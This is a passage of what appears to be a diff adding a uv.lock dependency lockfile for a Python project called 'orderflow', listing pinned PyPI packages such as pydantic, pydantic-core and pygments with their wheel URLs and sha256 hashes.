"https://files.pythonhosted.org/packages/1a/8a/0402ba61a2f16038b48b39bccca271134be00c5c9f0f623208399333c448/markupsafe-3.0.3-cp314-cp314t-win_amd64.whl", hash = "sha256:4faffd047e07c38848ce017e8725090413cd80cbc23d86e55c587bf979e579c9", size = 15426, upload-time = "2025-09-27T18:37:27.316Z" }, + { url = "https://files.pythonhosted.org/packages/70/bc/6f1c2f612465f5fa89b95bead1f44dcb607670fd42891d8fdcd5d039f4f4/markupsafe-3.0.3-cp314-cp314t-win_arm64.whl", hash = "sha256:32001d6a8fc98c8cb5c947787c5d08b0a50663d139f1305bac5885d98d9b40fa", size = 14146, upload-time = "2025-09-27T18:37:28.327Z" }, +] + +[[package]] +name = "mdurl" +version = "0.1.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/d6/54/cfe61301667036ec958cb99bd3efefba235e65cdeb9c84d24a8293ba1d90/mdurl-0.1.2.tar.gz", hash = "sha256:bb413d29f5eea38f31dd4754dd7377d4465116fb207585f97bf925588687c1ba", size = 8729, upload-time = "2022-08-14T12:40:10.846Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b3/38/89ba8ad64ae25be8de66a6d463314cf1eb366222074cfda9ee839c56a4b4/mdurl-0.1.2-py3-none-any.whl", hash = "sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f8", size = 9979, upload-time = "2022-08-14T12:40:09.779Z" }, +] + +[[package]] +name = "orderflow" +version = "0.1.0" +source = { virtual = "." } +dependencies = [ + { name = "fastapi", extra = ["standard"] }, + { name = "kafka-python" }, +] + +[package.metadata] +requires-dist = [ + { name = "fastapi", extras = ["standard"], specifier = ">=0.135.3" }, + { name = "kafka-python", specifier = ">=2.0.0" }, +] + +[[package]] +name = "pydantic" +version = "2.13.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "annotated-types" }, + { name = "pydantic-core" }, + { name = "typing-extensions" }, + { name = "typing-inspection" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/f3/6b/1353beb3d1cd5cf61cdec5b6f87a9872399de3bc5cae0b7ce07ff4de2ab0/pydantic-2.13.1.tar.gz", hash = "sha256:a0f829b279ddd1e39291133fe2539d2aa46cc6b150c1706a270ff0879e3774d2", size = 843746, upload-time = "2026-04-15T14:57:19.398Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/81/5a/2225f4c176dbfed0d809e848b50ef08f70e61daa667b7fa14b0d311ae44d/pydantic-2.13.1-py3-none-any.whl", hash = "sha256:9557ecc2806faaf6037f85b1fbd963d01e30511c48085f0d573650fdeaad378a", size = 471917, upload-time = "2026-04-15T14:57:17.277Z" }, +] + +[package.optional-dependencies] +email = [ + { name = "email-validator" }, +] + +[[package]] +name = "pydantic-core" +version = "2.46.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/a1/93/f97a86a7eb28faa1d038af2fd5d6166418b4433659108a4c311b57128b2d/pydantic_core-2.46.1.tar.gz", hash = "sha256:d408153772d9f298098fb5d620f045bdf0f017af0d5cb6e309ef8c205540caa4", size = 471230, upload-time = "2026-04-15T14:49:34.52Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ce/fb/caaa8ee23861c170f07dbd58fc2be3a2c02a32637693cbb23eef02e84808/pydantic_core-2.46.1-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:ae8c8c5eb4c796944f3166f2f0dab6c761c2c2cc5bd20e5f692128be8600b9a4", size = 2119472, upload-time = "2026-04-15T14:49:45.946Z" }, + { url = "https://files.pythonhosted.org/packages/fa/61/bcffaa52894489ff89e5e1cdde67429914bf083c0db7296bef153020f786/pydantic_core-2.46.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:daba6f5f5b986aa0682623a1a4f8d1ecb0ec00ce09cfa9ca71a3b742bc383e3a", size = 1951230, upload-time = "2026-04-15T14:52:27.646Z" }, + { url = "https://files.pythonhosted.org/packages/f8/95/80d2f43a2a1a1e3220fd329d614aa5a39e0a75d24353a3aaf226e605f1c2/pydantic_core-2.46.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0265f3a2460539ecc97817a80c7a23c458dd84191229b655522a2674f701f14e", size = 1976394, upload-time = "2026-04-15T14:50:32.742Z" }, + { url = "https://files.pythonhosted.org/packages/8d/31/2c5b1a207926b5fc1961a2d11da940129bc3841c36cc4df03014195b2966/pydantic_core-2.46.1-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:bb16c0156c4b4e94aa3719138cc43c53d30ff21126b6a3af63786dcc0757b56e", size = 2068455, upload-time = "2026-04-15T14:50:01.286Z" }, + { url = "https://files.pythonhosted.org/packages/7d/36/c6aa07274359a51ac62895895325ce90107e811c6cea39d2617a99ef10d7/pydantic_core-2.46.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1b42d80fad8e4b283e1e4138f1142f0d038c46d137aad2f9824ad9086080dd41", size = 2239049, upload-time = "2026-04-15T14:53:02.216Z" }, + { url = "https://files.pythonhosted.org/packages/0a/3f/77cdd0db8bddc714842dfd93f737c863751cf02001c993341504f6b0cd53/pydantic_core-2.46.1-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9cced85896d5b795293bc36b7e2fb0347a36c828551b50cbba510510d928548c", size = 2318681, upload-time = "2026-04-15T14:50:04.539Z" }, + { url = "https://files.pythonhosted.org/packages/a1/a3/09d929a40e6727274b0b500ad06e1b3f35d4f4665ae1c8ba65acbb17e9b5/pydantic_core-2.46.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a641cb1e74b44c418adaf9f5f450670dbec53511f030d8cde8d8accb66edc363", size = 2096527, upload-time = "2026-04-15T14:53:14.766Z" }, + { url = "https://files.pythonhosted.org/packages/89/ae/544c3a82456ebc254a9fcbe2715bab76c70acf9d291aaea24391147943e4/pydantic_core-2.46.1-cp312-cp312-manylinux_2_31_riscv64.whl", hash = "sha256:191e7a122ab14eb12415fe3f92610fc06c7f1d2b4b9101d24d490d447ac92506", size = 2170407, upload-time = "2026-04-15T14:51:27.138Z" }, + { url = "https://files.pythonhosted.org/packages/9d/ce/0dfd881c7af4c522f47b325707bd9a2cdcf4f40e4f2fd30df0e9a3e8d393/pydantic_core-2.46.1-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:4fe4ff660f7938b5d92f21529ce331b011aa35e481ab64b7cd03f52384e544bb", size = 2188578, upload-time = "2026-04-15T14:50:39.655Z" }, + { url = "https://files.pythonhosted.org/packages/a1/e9/980ea2a6d5114dd1a62ecc5f56feb3d34555f33bd11043f042e5f7f0724a/pydantic_core-2.46.1-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:18fcea085b3adc3868d8d19606da52d7a52d8bccd8e28652b0778dbe5e6a6660", size = 2188959, upload-time = "2026-04-15T14:52:42.243Z" }, + { url = "https://files.pythonhosted.org/packages/e7/f1/595e0f50f4bfc56cde2fe558f2b0978f29f2865da894c6226231e17464a5/pydantic_core-2.46.1-cp312-cp312-musllinux_1_1_armv7l.whl", hash = "sha256:e8e589e7c9466e022d79e13c5764c2239b2e5a7993ba727822b021234f89b56b", size = 2339973, upload-time = "2026-04-15T14:52:10.642Z" }, + { url = "https://files.pythonhosted.org/packages/49/44/be9f979a6ab6b8c36865ccd92c3a38a760c66055e1f384665f35525134c4/pydantic_core-2.46.1-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:f78eb3d4027963bdc9baccd177f02a98bf8714bc51fe17153d8b51218918b5bc", size = 2385228, upload-time = "2026-04-15T14:51:00.77Z" }, + { url = "https://files.pythonhosted.org/packages/5b/d4/c826cd711787d240219f01d0d3ca116cb55516b8b95277820aa9c85e1882/pydantic_core-2.46.1-cp312-cp312-win32.whl", hash = "sha256:54fe30c20cab03844dc63bdc6ddca67f74a2eb8482df69c1e5f68396856241be", size = 1978828, upload-time = "2026-04-15T14:50:29.362Z" }, + { url = "https://files.pythonhosted.org/packages/22/05/8a1fcf8181be4c7a9cfc34e5fbf2d9c3866edc9dfd3c48d5401806e0a523/pydantic_core-2.46.1-cp312-cp312-win_amd64.whl", hash = "sha256:aea4e22ed4c53f2774221435e39969a54d2e783f4aee902cdd6c8011415de893", size = 2070015, upload-time = "2026-04-15T14:49:47.301Z" }, + { url = "https://files.pythonhosted.org/packages/61/d5/fea36ad2882b99c174ef4ffbc7ea6523f6abe26060fbc1f77d6441670232/pydantic_core-2.46.1-cp312-cp312-win_arm64.whl", hash = "sha256:f76fb49c34b4d66aa6e552ce9e852ea97a3a06301a9f01ae82f23e449e3a55f8", size = 2030176, upload-time = "2026-04-15T14:50:47.307Z" }, + { url = "https://files.pythonhosted.org/packages/ff/d2/bda39bad2f426cb5078e6ad28076614d3926704196efe0d7a2a19a99025d/pydantic_core-2.46.1-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:cdc8a5762a9c4b9d86e204d555444e3227507c92daba06259ee66595834de47a", size = 2119092, upload-time = "2026-04-15T14:49:50.392Z" }, + { url = "https://files.pythonhosted.org/packages/ee/f3/69631e64d69cb3481494b2bddefe0ddd07771209f74e9106d066f9138c2a/pydantic_core-2.46.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:ba381dfe9c85692c566ecb60fa5a77a697a2a8eebe274ec5e4d6ec15fafad799", size = 1951400, upload-time = "2026-04-15T14:51:06.588Z" }, + { url = "https://files.pythonhosted.org/packages/53/1c/21cb3db6ae997df31be8e91f213081f72ffa641cb45c89b8a1986832b1f9/pydantic_core-2.46.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1593d8de98207466dc070118322fef68307a0cc6a5625e7b386f6fdae57f9ab6", size = 1976864, upload-time = "2026-04-15T14:50:54.804Z" }, + { url = "https://files.pythonhosted.org/packages/91/9c/05c819f734318ce5a6ca24da300d93696c105af4adb90494ee571303afd8/pydantic_core-2.46.1-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:8262c74a1af5b0fdf795f5537f7145785a63f9fbf9e15405f547440c30017ed8", size = 2066669, upload-time = "2026-04-15T14:51:42.346Z" }, + { url = "https://files.pythonhosted.org/packages/cb/23/fadddf1c7f2f517f58731aea9b35c914e6005250f08dac9b8e53904cdbaa/pydantic_core-2.46.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4b88949a24182e83fbbb3f7ca9b7858d0d37b735700ea91081434b7d37b3b444", size = 2238737, upload-time = "2026-04-15T14:50:45.558Z" }, + { url = "https://files.pythonhosted.org/packages/23/07/0cd4f95cb0359c8b1ec71e89c3777e7932c8dfeb9cd54740289f310aaead/pydantic_core-2.46.1-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b8f3708cd55537aeaf3fd0ea55df0d68d0da51dcb07cbc8508745b34acc4c6e0", size = 2316258, upload-time = "2026-04-15T14:51:08.471Z" }, + { url = "https://files.pythonhosted.org/packages/0c/40/6fc24c3766a19c222a0d60d652b78f0283339d4cd4c173fab06b7ee76571/pydantic_core-2.46.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f79292435fff1d4f0c18d9cfaf214025cc88e4f5104bfaed53f173621da1c743", size = 2097474, upload-time = "2026-04-15T14:49:56.543Z" }, + { url = "https://files.pythonhosted.org/packages/4b/af/f39795d1ce549e35d0841382b9c616ae211caffb88863147369a8d74fba9/pydantic_core-2.46.1-cp313-cp313-manylinux_2_31_riscv64.whl", hash = "sha256:a2e607aeb59cf4575bb364470288db3b9a1f0e7415d053a322e3e154c1a0802e", size = 2168383, upload-time = "2026-04-15T14:51:29.269Z" }, + { url = "https://files.pythonhosted.org/packages/e6/32/0d563f74582795779df6cc270c3fc220f49f4daf7860d74a5a6cda8491ff/pydantic_core-2.46.1-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:ec5ca190b75878a9f6ae1fc8f5eb678497934475aef3d93204c9fa01e97370b6", size = 2186182, upload-time = "2026-04-15T14:50:19.097Z" }, + { url = "https://files.pythonhosted.org/packages/5c/07/1c10d5ce312fc4cf86d1e50bdcdbb8ef248409597b099cab1b4bb3a093f7/pydantic_core-2.46.1-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:1f80535259dcdd517d7b8ca588d5ca24b4f337228e583bebedf7a3adcdf5f721", size = 2187859, upload-time = "2026-04-15T14:49:22.974Z" }, + { url = "https://files.pythonhosted.org/packages/92/01/e1f62d4cb39f0913dbf5c95b9b119ef30ddba9493dff8c2b012f0cdd67dc/pydantic_core-2.46.1-cp313-cp313-musllinux_1_1_armv7l.whl", hash = "sha256:24820b3c82c43df61eca30147e42853e6c127d8b868afdc0c162df829e011eb4", size = 2338372, upload-time = "2026-04-15T14:49:53.316Z" }, + { url = "https://files.pythonhosted.org/packages/44/ed/218dfeea6127fb1781a6ceca241ec6edf00e8a8933ff331af2215975a534/pydantic_core-2.46.1-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:f12794b1dd8ac9fb66619e0b3a0427189f5d5638e55a3de1385121a9b7bf9b39", size = 2384039, upload-time = "2026-04-15T14:53:04.929Z" }, + { url = "https://files.pythonhosted.org/packages/6c/1e/011e763cd059238249fbd5780e0f8d0b04b47f86c8925e22784f3e5fc977/pydantic_core-2.46.1-cp313-cp313-win32.whl", hash = "sha256:9bc09aed935cdf50f09e908923f9efbcca54e9244bd14a5a0e2a6c8d2c21b4e9", size = 1977943, upload-time = "2026-04-15T14:52:17.969Z" }, + { url = "https://files.pythonhosted.org/packages/8c/06/b559a490d3ed106e9b1777b8d5c8112dd8d31716243cd662616f66c1f8ea/pydantic_core-2.46.1-cp313-cp313-win_amd64.whl", hash = "sha256:fac2d6c8615b8b42bee14677861ba09d56ee076ba4a65cfb9c3c3d0cc89042f2", size = 2068729, upload-time = "2026-04-15T14:53:07.288Z" }, + { url = "https://files.pythonhosted.org/packages/9f/52/32a198946e2e19508532aa9da02a61419eb15bd2d96bab57f810f2713e31/pydantic_core-2.46.1-cp313-cp313-win_arm64.whl", hash = "sha256:f978329f12ace9f3cb814a5e44d98bbeced2e36f633132bafa06d2d71332e33e", size = 2029550, upload-time = "2026-04-15T14:52:22.707Z" }, + { url = "https://files.pythonhosted.org/packages/bd/2b/6793fe89ab66cb2d3d6e5768044eab80bba1d0fae8fd904d0a1574712e17/pydantic_core-2.46.1-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:9917cb61effac7ec0f448ef491ec7584526d2193be84ff981e85cbf18b68c42a", size = 2118110, upload-time = "2026-04-15T14:50:52.947Z" }, + { url = "https://files.pythonhosted.org/packages/d2/87/e9a905ddfcc2fd7bd862b340c02be6ab1f827922822d425513635d0ac774/pydantic_core-2.46.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:0e749679ca9f8a9d0bff95fb7f6b57bb53f2207fa42ffcc1ec86de7e0029ab89", size = 1948645, upload-time = "2026-04-15T14:51:55.577Z" }, + { url = "https://files.pythonhosted.org/packages/15/23/26e67f86ed62ac9d6f7f3091ee5220bf14b5ac36fb811851d601365ef896/pydantic_core-2.46.1-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f2ecacee70941e233a2dad23f7796a06f86cc10cc2fbd1c97c7dd5b5a79ffa4f", size = 1977576, upload-time = "2026-04-15T14:49:37.58Z" }, + { url = "https://files.pythonhosted.org/packages/b8/78/813c13c0de323d4de54ee2e6fdd69a0271c09ac8dd65a8a000931aa487a5/pydantic_core-2.46.1-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:647d0a2475b8ed471962eed92fa69145b864942f9c6daa10f95ac70676637ae7", size = 2060358, upload-time = "2026-04-15T14:51:40.087Z" }, + { url = "https://files.pythonhosted.org/packages/09/5e/4caf2a15149271fbd2b4d968899a450853c800b85152abcf54b11531417f/pydantic_core-2.46.1-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ac9cde61965b0697fce6e6cc372df9e1ad93734828aac36e9c1c42a22ad02897", size = 2235980, upload-time = "2026-04-15T14:50:34.535Z" }, + { url = "https://files.pythonhosted.org/packages/c2/c1/a2cdabb5da6f5cb63a3558bcafffc20f790fa14ccffbefbfb1370fadc93f/pydantic_core-2.46.1-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:0a2eb0864085f8b641fb3f54a2fb35c58aff24b175b80bc8a945050fcde03204", size = 2316800, upload-time = "2026-04-15T14:52:46.999Z" }, + { url = "https://files.pythonhosted.org/packages/76/fd/19d711e4e9331f9d77f222bffc202bf30ea0d74f6419046376bb82f244c8/pydantic_core-2.46.1-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b83ce9fede4bc4fb649281d9857f06d30198b8f70168f18b987518d713111572", size = 2101762, upload-time = "2026-04-15T14:49:24.278Z" }, + { url = "https://files.pythonhosted.org/packages/dc/64/ce95625448e1a4e219390a2923fd594f3fa368599c6b42ac71a5df7238c9/pydantic_core-2.46.1-cp314-cp314-manylinux_2_31_riscv64.whl", hash = "sha256:cb33192753c60f269d2f4a1db8253c95b0df6e04f2989631a8cc1b0f4f6e2e92", size = 2167737, upload-time = "2026-04-15T14:50:41.637Z" }, + { url = "https://files.pythonhosted.org/packages/ad/31/413572d03ca3e73b408f00f54418b91a8be6401451bc791eaeff210328e5/pydantic_core-2.46.1-cp314-cp314-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:96611d51f953f87e1ae97637c01ee596a08b7f494ea00a5afb67ea6547b9f53b", size = 2185658, upload-time = "2026-04-15T14:51:46.799Z" }, + { url = "https://files.pythonhosted.org/packages/36/09/e4f581353bdf3f0c7de8a8b27afd14fc761da29d78146376315a6fedc487/pydantic_core-2.46.1-cp314-cp314-musllinux_1_1_aarch64.whl", hash = "sha256:9b176fa55f9107db5e6c86099aa5bfd934f1d3ba6a8b43f714ddeebaed3f42b7", size = 2184154, upload-time = "2026-04-15T14:52:49.629Z" }, + { url = "https://files.pythonhosted.org/packages/1a/a4/d0d52849933f5a4bf1ad9d8da612792f96469b37e286a269e3ee9c60bbb1/pydantic_core-2.46.1-cp314-cp314-musllinux_1_1_armv7l.whl", hash = "sha256:79a59f63a4ce4f3330e27e6f3ce281dd1099453b637350e97d7cf24c207cd120", size = 2332379, upload-time = "2026-04-15T14:49:55.009Z" }, + { url = "https://files.pythonhosted.org/packages/30/93/25bfb08fdbef419f73290e573899ce938a327628c34e8f3a4bafeea30126/pydantic_core-2.46.1-cp314-cp314-musllinux_1_1_x86_64.whl", hash = "sha256:f200fce071808a385a314b7343f5e3688d7c45746be3d64dc71ee2d3e2a13268", size = 2377964, upload-time = "2026-04-15T14:51:59.649Z" }, + { url = "https://files.pythonhosted.org/packages/15/36/b777766ff83fef1cf97473d64764cd44f38e0d8c269ed06faace9ae17666/pydantic_core-2.46.1-cp314-cp314-win32.whl", hash = "sha256:3a07eccc0559fb9acc26d55b16bf8ebecd7f237c74a9e2c5741367db4e6d8aff", size = 1976450, upload-time = "2026-04-15T14:51:57.665Z" }, + { url = "https://files.pythonhosted.org/packages/7b/4b/4cd19d2437acfc18ca166db5a2067040334991eb862c4ecf2db098c91fbf/pydantic_core-2.46.1-cp314-cp314-win_amd64.whl", hash = "sha256:1706d270309ac7d071ffe393988c471363705feb3d009186e55d17786ada9622", size = 2067750, upload-time = "2026-04-15T14:49:38.941Z" }, + { url = "https://files.pythonhosted.org/packages/7f/a0/490751c0ef8f5b27aae81731859aed1508e72c1a9b5774c6034269db773b/pydantic_core-2.46.1-cp314-cp314-win_arm64.whl", hash = "sha256:22d4e7457ade8af06528012f382bc994a97cc2ce6e119305a70b3deff1e409d6", size = 2021109, upload-time = "2026-04-15T14:50:27.728Z" }, + { url = "https://files.pythonhosted.org/packages/36/3a/2a018968245fffd25d5f1972714121ad309ff2de19d80019ad93494844f9/pydantic_core-2.46.1-cp314-cp314t-macosx_10_12_x86_64.whl", hash = "sha256:607ff9db0b7e2012e7eef78465e69f9a0d7d1c3e7c6a84cf0c4011db0fcc3feb", size = 2111548, upload-time = "2026-04-15T14:52:08.273Z" }, + { url = "https://files.pythonhosted.org/packages/77/5b/4103b6192213217e874e764e5467d2ff10d8873c1147d01fa432ac281880/pydantic_core-2.46.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:8cda3eacaea13bd02a1bea7e457cc9fc30b91c5a91245cef9b215140f80dd78c", size = 1926745, upload-time = "2026-04-15T14:50:03.045Z" }, + { url = "https://files.pythonhosted.org/packages/c3/70/602a667cf4be4bec6c3334512b12ae4ea79ce9bfe41dc51be1fd34434453/pydantic_core-2.46.1-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b9493279cdc7997fe19e5ed9b41f30cbc3806bd4722adb402fedb6f6d41bd72a", size = 1965922, upload-time = "2026-04-15T14:51:12.555Z" }, + { url = "https://files.pythonhosted.org/packages/a9/24/06a89ce5323e755b7d2812189f9706b87aaebe49b34d247b380502f7992c/pydantic_core-2.46.1-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:3644e5e10059999202355b6c6616e624909e23773717d8f76deb8a6e2a72328c", size = 2043221, upload-time = "2026-04-15T14:51:18.995Z" }, + { url = "https://files.pythonhosted.org/packages/2c/6e/b1d9ad907d9d76964903903349fd2e33c87db4b993cc44713edcad0fc488/pydantic_core-2.46.1-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4ad6c9de57683e26c92730991960c0c3571b8053263b042de2d3e105930b2767", size = 2243655, upload-time = "2026-04-15T14:50:10.718Z" }, + { url = "https://files.pythonhosted.org/packages/ef/73/787abfaad51174641abb04c8aa125322279b40ad7ce23c495f5a69f76554/pydantic_core-2.46.1-cp314-cp314t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:557ebaa27c7617e7088002318c679a8ce685fa048523417cd1ca52b7f516d955", size = 2295976, upload-time = "2026-04-15T14:53:09.694Z" }, + { url = "https://files.pythonhosted.org/packages/56/0b/b7c5a631b6d5153d4a1ea4923b139aea256dc3bd99c8e6c7b312c7733146/pydantic_core-2.46.1-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3cd37e39b22b796ba0298fe81e9421dd7b65f97acfbb0fb19b33ffdda7b9a7b4", size = 2103439, upload-time = "2026-04-15T14:50:08.32Z" }, + { url = "https://files.pythonhosted.org/packages/2a/3f/952ee470df69e5674cdec1cbde22331adf643b5cc2ff79f4292d80146ee4/pydantic_core-2.46.1-cp314-cp314t-manylinux_2_31_riscv64.whl", hash = "sha256:6689443b59714992e67d62505cdd2f952d6cf1c14cc9fd9aeec6719befc6f23b", size = 2132871, upload-time = "2026-04-15T14:50:24.445Z" }, + { url = "https://files.pythonhosted.org/packages/e3/8b/1dea3b1e683c60c77a60f710215f90f486755962aa8939dbcb7c0f975ac3/pydantic_core-2.46.1-cp314-cp314t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:6f32c41ca1e3456b5dd691827b7c1433c12d5f0058cc186afbb3615bc07d97b8", size = 2168658, upload-time = "2026-04-15T14:52:24.897Z" }, + { url = "https://files.pythonhosted.org/packages/67/97/32ae283810910d274d5ba9f48f856f5f2f612410b78b249f302d297816f5/pydantic_core-2.46.1-cp314-cp314t-musllinux_1_1_aarch64.whl", hash = "sha256:88cd1355578852db83954dc36e4f58f299646916da976147c20cf6892ba5dc43", size = 2171184, upload-time = "2026-04-15T14:52:34.854Z" }, + { url = "https://files.pythonhosted.org/packages/a2/57/c9a855527fe56c2072070640221f53095b0b19eaf651f3c77643c9cabbe3/pydantic_core-2.46.1-cp314-cp314t-musllinux_1_1_armv7l.whl", hash = "sha256:a170fefdb068279a473cc9d34848b85e61d68bfcc2668415b172c5dfc6f213bf", size = 2316573, upload-time = "2026-04-15T14:52:12.871Z" }, + { url = "https://files.pythonhosted.org/packages/37/b3/14c39ffc7399819c5448007c7bcb4e6da5669850cfb7dcbb727594290b48/pydantic_core-2.46.1-cp314-cp314t-musllinux_1_1_x86_64.whl", hash = "sha256:556a63ff1006934dba4eed7ea31b58274c227e29298ec398e4275eda4b905e95", size = 2378340, upload-time = "2026-04-15T14:51:02.619Z" }, + { url = "https://files.pythonhosted.org/packages/01/55/a37461fbb29c053ea4e62cfc5c2d56425cb5efbef8316e63f6d84ae45718/pydantic_core-2.46.1-cp314-cp314t-win32.whl", hash = "sha256:3b146d8336a995f7d7da6d36e4a779b7e7dff2719ac00a1eb8bd3ded00bec87b", size = 1960843, upload-time = "2026-04-15T14:52:06.103Z" }, + { url = "https://files.pythonhosted.org/packages/22/d7/97e1221197d17a27f768363f87ec061519eeeed15bbd315d2e9d1429ff03/pydantic_core-2.46.1-cp314-cp314t-win_amd64.whl", hash = "sha256:f1bc856c958e6fe9ec071e210afe6feb695f2e2e81fd8d2b102f558d364c4c17", size = 2048696, upload-time = "2026-04-15T14:52:52.154Z" }, + { url = "https://files.pythonhosted.org/packages/19/d5/4eac95255c7d35094b46a32ec1e4d80eac94729c694726ee1d69948bd5f0/pydantic_core-2.46.1-cp314-cp314t-win_arm64.whl", hash = "sha256:21a5bfd8a1aa4de60494cdf66b0c912b1495f26a8899896040021fbd6038d989", size = 2022343, upload-time = "2026-04-15T14:49:49.036Z" }, + { url = "https://files.pythonhosted.org/packages/f4/97/95de673a1356a88b2efdaa120eb6af357a81555c35f6809a7a1423ff7aef/pydantic_core-2.46.1-graalpy312-graalpy250_312_native-macosx_10_12_x86_64.whl", hash = "sha256:5f9107a24a4bc00293434dfa95cf8968751ad0dd703b26ea83a75a56f7326041", size = 2107564, upload-time = "2026-04-15T14:50:49.14Z" }, + { url = "https://files.pythonhosted.org/packages/00/fc/a7c16d85211ea9accddc693b7d049f20b0c06440d9264d1e1c074394ee6c/pydantic_core-2.46.1-graalpy312-graalpy250_312_native-macosx_11_0_arm64.whl", hash = "sha256:2b1801ba99876984d0a03362782819238141c4d0f3f67f69093663691332fc35", size = 1939925, upload-time = "2026-04-15T14:50:36.188Z" }, + { url = "https://files.pythonhosted.org/packages/2e/23/87841169d77820ddabeb81d82002c95dcb82163846666d74f5bdeeaec750/pydantic_core-2.46.1-graalpy312-graalpy250_312_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b7fd82a91a20ed6d54fa8c91e7a98255b1ff45bf09b051bfe7fe04eb411e232e", size = 1995313, upload-time = "2026-04-15T14:50:22.538Z" }, + { url = "https://files.pythonhosted.org/packages/ea/96/b46609359a354fa9cd336fc5d93334f1c358b756cc81e4b397347a88fa6f/pydantic_core-2.46.1-graalpy312-graalpy250_312_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0f135bf07c92c93def97008bc4496d16934da9efefd7204e5f22a2c92523cb1f", size = 2151197, upload-time = "2026-04-15T14:51:22.925Z" }, +] + +[[package]] +name = "pydantic-extra-types" +version = "2.11.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pydantic" }, + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/66/71/dba38ee2651f84f7842206adbd2233d8bbdb59fb85e9fa14232486a8c471/pydantic_extra_types-2.11.1.tar.gz", hash = "sha256:46792d2307383859e923d8fcefa82108b1a141f8a9c0198982b3832ab5ef1049", size = 172002, upload-time = "2026-03-16T08:08:03.92Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/17/c1/3226e6d7f5a4f736f38ac11a6fbb262d701889802595cdb0f53a885ac2e0/pydantic_extra_types-2.11.1-py3-none-any.whl", hash = "sha256:1722ea2bddae5628ace25f2aa685b69978ef533123e5638cfbddb999e0100ec1", size = 79526, upload-time = "2026-03-16T08:08:02.533Z" }, +] + +[[package]] +name = "pydantic-settings" +version = "2.13.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pydantic" }, + { name = "python-dotenv" }, + { name = "typing-inspection" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/52/6d/fffca34caecc4a3f97bda81b2098da5e8ab7efc9a66e819074a11955d87e/pydantic_settings-2.13.1.tar.gz", hash = "sha256:b4c11847b15237fb0171e1462bf540e294affb9b86db4d9aa5c01730bdbe4025", size = 223826, upload-time = "2026-02-19T13:45:08.055Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/00/4b/ccc026168948fec4f7555b9164c724cf4125eac006e176541483d2c959be/pydantic_settings-2.13.1-py3-none-any.whl", hash = "sha256:d56fd801823dbeae7f0975e1f8c8e25c258eb75d278ea7abb5d9cebb01b56237", size = 58929, upload-time = "2026-02-19T13:45:06.034Z" }, +] + +[[package]] +name = "pygments" +version = "2.20.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/c3/b2/bc9c9196916376152d655522fdcebac55e66de6603a76a02bca1b6414f6c/pygments-2.20.0.tar.gz", hash = "sha256:6757cd03768053ff99f3039c1a36d6c0aa0b263438fcab17520b30a303a82b5f", size = 4955991, upload-time = "2026-03-29T13:29:33.898Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/f4/7e/a72dd26f3b0f4f2bf1dd8923c85f7ceb43172af56d63c7383eb62b332364/pygments-2.20.0-py3-none-any.whl", hash = 